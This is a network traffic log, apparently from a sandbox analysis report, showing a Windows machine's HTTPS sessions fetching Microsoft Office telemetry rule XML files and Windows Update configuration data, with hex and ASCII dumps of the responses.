2024-11-23 04:02:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040232Z-174c587ffdfp4vpjhC1TEBybqw00000002d000000000aayh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040232Z-15b8b599d8885prmhC1TEBsnkw00000002hg000000007qrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040232Z-178bfbc474bw8bwphC1NYC38b400000003qg00000000hax6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040232Z-174c587ffdfgcs66hC1TEB69cs000000026g00000000fvub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040232Z-178bfbc474bmqmgjhC1NYCy16c00000003yg00000000euzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49761	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OHzveTLUo7bbhBS&MD=+m+hrFxF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 04:02:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3f9ea59c-599e-4b39-8760-e6bf1ae2addd MS-RequestId: c85e0cce-45aa-44b6-8dcf-e17f6f4dc0d2 MS-CV: osdL+0B6zkGOiQEU.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 04:02:32 GMT Connection: close Content-Length: 24490
2024-11-23 04:02:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 04:02:33 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49774	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 04:02:34 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=45732 Date: Sat, 23 Nov 2024 04:02:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040234Z-174c587ffdf7t49mhC1TEB4qbg00000002bg000000007wnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040234Z-15b8b599d8885prmhC1TEBsnkw00000002dg00000000k4ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040234Z-178bfbc474bnwsh4hC1NYC2ubs000000043g0000000015pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040234Z-178bfbc474bgvl54hC1NYCsfuw00000003x000000000d8qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
